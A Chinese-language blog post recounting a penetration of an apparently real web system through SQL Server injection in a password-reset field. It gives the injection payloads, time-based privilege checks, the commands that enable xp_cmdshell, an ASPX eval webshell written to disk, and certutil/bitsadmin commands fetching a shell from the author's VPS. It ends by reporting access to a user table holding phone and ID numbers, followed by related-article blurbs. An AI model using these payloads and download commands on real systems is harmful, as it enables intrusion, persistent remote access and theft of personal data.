<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    實戰|從 SQL Server 注入到 getshell

    VSole2023-03-13 10:33:40

    0x00 目標情況

    一個web站點111.*.*.63,只有一個登陸框,測試了沒有注入,沒有弱口令,掃描了全端口,沒有發現什么有用的信息。

    0x01 發現注入

    當時是查看網頁源代碼,有兩個可疑接口,一個是初始化密碼借口,訪問返回空白頁面,沒有什么用

    另一個是密碼設置接口,不過這個接口是同網段的另一個ip 111.*.*.59,訪問后發現是個重置密碼的界面


    但是進行密碼重置的時候需要發送驗證碼,系統會先校驗用戶名是否存在,加單引號出錯,and 1=2沒反應

    burpsuite抓包后sqlmap跑了下,python sqlmap.py -r 1.txt,存在注入


    通過sqlmap得到了這幾個數據庫


    [*] HSOA_20170320
    [*] HSOA_NEW
    [*] HSOA_T
    [*] master
    [*] model
    [*] msdb
    [*] Shuttle
    [*] SHWT
    [*] tempdb
    

    0x02 找網站絕對路徑

    判斷是不是dba權限(延時后返回正確頁面,確定為dba權限<也可用sqlmap的–is-dba判斷>)


    uname=test';if(1=(select is_srvrolemember('sysadmin'))) WAITFOR DELAY '0:0:2';--
    

    判斷是否是站庫分離(延時后返回正確頁面,確定站庫沒有分離)


    uname=test';if(host_name()=@@servername) WAITFOR DELAY '0:0:5';--
    

    查看是否有xp_cmdshell


    uname=test';if(1=(select count(*) from master.dbo.sysobjects where xtype = 'x' and name = 'xp_cmdshell')) WAITFOR DELAY '0:0:2'--
    恢復/刪除xp_cmdshell
    exec sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll'
    exec sp_dropextendedproc 'xplog70.dll'
    

    開啟xp_cmdshell

    # 關閉xp_cmdshell
    EXEC sp_configure 'show advanced options',1;
    RECONFIGURE;
    EXEC sp_configure 'xp_cmdshell',0;
    RECONFIGURE;
    # 啟用xp_cmdshell
    EXEC sp_configure 'show advanced options',1;
    RECONFIGURE;
    EXEC sp_configure 'xp_cmdshell',1;
    RECONFIGURE;
    

    得到網站絕對路徑

    可以找一個在網站中的文件,然后可以用dir /s /b d:\"aa.txt"或者 for /r d:\ %i in (aa.txt) do echo %i來得到路徑

    查看網頁源代碼發現引入了js腳本"<script src="/Content/layer/layer.js"></script>",就查找layer.js吧

    本來想使用sqlmap的--os-shell直接執行命令試試,python sqlmap.py -r 1.txt –os-shell,但是發現執行命令的話一直沒有數據返回

    那就手工注入找路徑,先建表,將路徑插入表,然后得到表內容

    --在數據庫tempdb下創建臨時表tt_tmp
    uname=test';use tempdb;create table tt_tmp (tmp1 varchar(1000));--
    

    sqlmap查看建表成功,sqlmap -r 1.txt --dbms "Microsoft SQL Server" -D "tempdb" --tables

    查找網站文件并把路徑寫入到表tt_tmp
    uname=test';use tempdb;insert into tt_tmp(tmp1) exec master..xp_cmdshell 'dir /s /b d:\layer.js';--
    

    用sqlmap得到表tt_tmp的內容: python sqlmap.py -r 1.txt --dbms="Microsoft SQL Server" --technique=S -D "tempdb" -T "tt_tmp" -C "tmp1" --dump -v 3

    0x03 嘗試在111.*.*.59主機getshell

    嘗試寫一句話

    先在下面的路徑中寫入txt文件驗證網站路徑到底是哪一個

    D:\bak\20170226\bak\20170403.2\webapp\Content\layer\
    D:\bak\20170226\bak\20170404.2\webapp\Content\layer\
    D:\bak\20170226\bak\20170404.3\webapp\Content\layer\
    D:\bak\20170226\bak\20170404\webapp\Content\layer\
    D:\bak\20170226\bak\20170405\webapp\Content\layer\
    D:\bak\20170226\bak\20170407\webapp\Content\layer\
    D:\bak\20170226\bak\20180103\webapp\Content\layer\
    D:\bak\20170226\bak\20180320\webapp\Content\layer\
    D:\bak\20170226\webapp\Content\layer\
    D:\bak\20170226\webappYM\Content\layer\
    D:\WEBAPP\Content\layer\
    uname=test';exec master..xp_cmdshell 'echo test >D:\bak\20170226\bak\20170403.2\webapp\Content\layer\11.txt';--
    

    依次寫文件然后訪問,在寫入 D:\bak\20170226\webapp\Content\layer\123.txt時,訪問http://111.*.*.59/Content/layer/123.txt能正常訪問到123.txt,返回內容為test,證明web路徑就是D:\bak\20170226\webapp

    嘗試寫入一句話(< >的前面要加^)

    uname=test';exec master..xp_cmdshell 'echo ^<%@ Page Language="Jscript"%^>^<%eval(Request.item["Aa1234567"],"unsafe");%^> > D:\bak\20170226\webapp\Content\layer\cc.aspx';--
    

    訪問時可以看到aa.aspx確實寫入了,但是菜刀連接不上

    嘗試直接下載shell到服務器

    使用bitsadmin下載時并沒有成功,訪問http://111.*.*.59/Content/layer/aaa.aspx返回404

    uname=test';exec master..xp_cmdshell 'bitsadmin /rawreturn /transfer getfile http://my-vps/aaa.aspx D:\bak\20170226\webapp\Content\layer\aaa.aspx';--
    

    使用certutil下載時才成功,得到shell地址http://111.*.*.59/Content/layer/aaa.aspx

    uname=test';exec master..xp_cmdshell 'certutil -urlcache -split -f http://my-vps/aaa.aspx D:\bak\20170226\webapp\Content\layer\aaa.aspx';--
    

    0x04 查數據庫相關信息

    找到數據庫配置文件

    嘗試登陸

    找到了用戶表,有用戶名、密碼、姓名、手機號、郵箱、身份證號


    在111.*.*.63登陸發現它只是個登陸接口,真正網站是在111.*.*.59的

    0x05 附:sqlmap得到路徑的語句分析

    cast轉換數據類型isnull判斷數據是否為空,為空的話返回char(32)unicode字符轉換為10進制數字IF(UNICODE(SUBSTRING((SELECT MIN(ISNULL(CAST(tmp1 AS NVARCHAR(4000)),CHAR(32))) FROM tempdb.dbo.tt_tmp),1,1))>32) WAITFOR DELAY '0:0:1';IF(UNICODE(SUBSTRING((SELECT MIN(ISNULL(CAST(tmp1 AS NVARCHAR(4000)),CHAR(32))) FROM tempdb.dbo.tt_tmp WHERE CONVERT(NVARCHAR(4000),tmp1)>'D:\WEBAPP\Content\layer\layer.js'),1,1))>16) WAITFOR DELAY '0:0:1';
    
    sql注入test
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    打開APP是一個登錄框抓包后發現參數被加密了根據經驗,先搜索Encrypt、Decrypt等關鍵字,發現在Common.js中有一個encryptData函數
    burp0_data = {"name": username, "pw": password, "repw": password, "email": email, "submit": ''}
    發現漏洞一、環境準備1、在Linux主機上準備一套Xampp:模擬攻防2、在VSCode利用Remote Development進行遠程調試3、在Lampp的htdos目錄下創建security目錄,用于編寫服務器PHP代碼二、編寫Login.html三、編寫Login.php"; echo "location.href='welcome.php'";}else{ // echo "login-fail. "; echo "location.href='login.html'";}//關閉數據庫mysqli_close?
    SQL注入速查表
    2022-07-29 09:22:37
    現在僅支持MySQL、Microsoft SQL Server,以及一部分ORACLE和PostgreSQL。大部分樣例都不能保證每一個場景都適用。現實場景由于各種插入語、不同的代碼環境以及各種不常見甚至奇特的SQL語句,而經常發生變化。
    SQL注入測試
    2022-05-09 07:47:24
    0x01 等保測評項 GBT 22239-2019《信息安全技術 網絡安全等級保護基本要求》中,8.1.4.4安全計算環境—入侵防范項中要求包括: a)應遵循最小安裝的原則,僅安裝需要的組件和應用程序; b)應關閉不需要的系統服務、默認共享和高危端口; c)應通過設定終端接入方式或網絡地址范圍對通過網絡進行管理的管理終端進行限制; d)應提供數據有效性檢驗功能,保證通過人機接口輸入或通過通
    關于 SQL InjectionSQL Injection 就是通過把惡意的 SQL 命令插入到 Web 表單讓服務器執行,最終達到欺騙服務器或數據庫執行惡意的 SQL 命令。
    一個經過完整而優秀開發的應用一般來說你是看不到錯誤提示的,所以你是沒辦法從Union攻擊和錯誤中提取出數據的 一般盲注,你不能在頁面中看到響應,但是你依然能同個HTTP狀態碼得知查詢的結果 完全盲注,你無論怎么輸入都完全看不到任何變化。你只能通過日志或者其它什么的來注入。雖然不怎么常見。
    SQL手工注入總結
    2021-11-11 08:19:35
    雖說目前互聯網上已經有很多關于 sql 注入的神器了,但是在這個 WAF 橫行的時代,手工注入往往在一些真實環境中會顯得尤為重要。本文主要把以前學過的知識做個總結,不會有詳細的知識解讀,類似于查詢手冊的形式,便于以后的復習與查閱,文中內容可能會存在錯誤,望師傅們斧正!
    id=3';對應的sql:select * from table where id=3' 這時sql語句出錯,程序無法正常從數據庫中查詢出數據,就會拋出異常; 加and 1=1 ,URL:xxx.xxx.xxx/xxx.php?id=1' order by 3# 沒有報錯,說明存在3列爆出數據庫:?id=-1' union select 1,group_concat,3 from information_schema.schemata#爆出數據表:?id=1' and extractvalue--+(爆字段)?
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类